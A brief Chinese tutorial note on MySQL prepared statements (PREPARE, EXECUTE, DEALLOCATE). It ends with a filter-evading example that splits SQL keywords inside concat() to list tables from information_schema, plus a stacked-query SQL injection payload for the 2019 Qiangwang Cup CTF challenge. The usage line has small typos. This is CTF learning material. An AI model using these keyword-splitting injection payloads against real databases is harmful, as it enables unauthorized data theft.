mysql中Prepare、execute、deallocate的使用方法

1、Prepare:准备一条SQL语句，并分配给这条SQL语句一个名字供之后调用 2、execute：执行命令 3、Deallocate Prepare：释放命令 4、在SQL语句中，我们使用了问号（？），在此我们可以将问号替换为整型，字符串，双精度浮点型和布尔值

用法：

PREPARE stmt_name FROM preparable_stmt EXECUTE stmt_name [USING 2var_name,[, @var_name]....] {DELLOCATE | DROP} PREPARE stmt_name

类似于函数的用法，prepare准备一个函数的定义，set设定函数的参数，execute传执行函数。@a这种就像变量名。

set @a=concat("sel","ect"," group_con","cat(table_n","ame) ","fro","m"," infor","mation_sc","hema.tabl","es"," whe","re tabl","e_","sche","ma=datab","ase()"); prepare dump from @a; execute dump;

题目例子： 强网杯2019随便注 payload：

1';sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");PRepare+hello+from+@a;execute+hello;#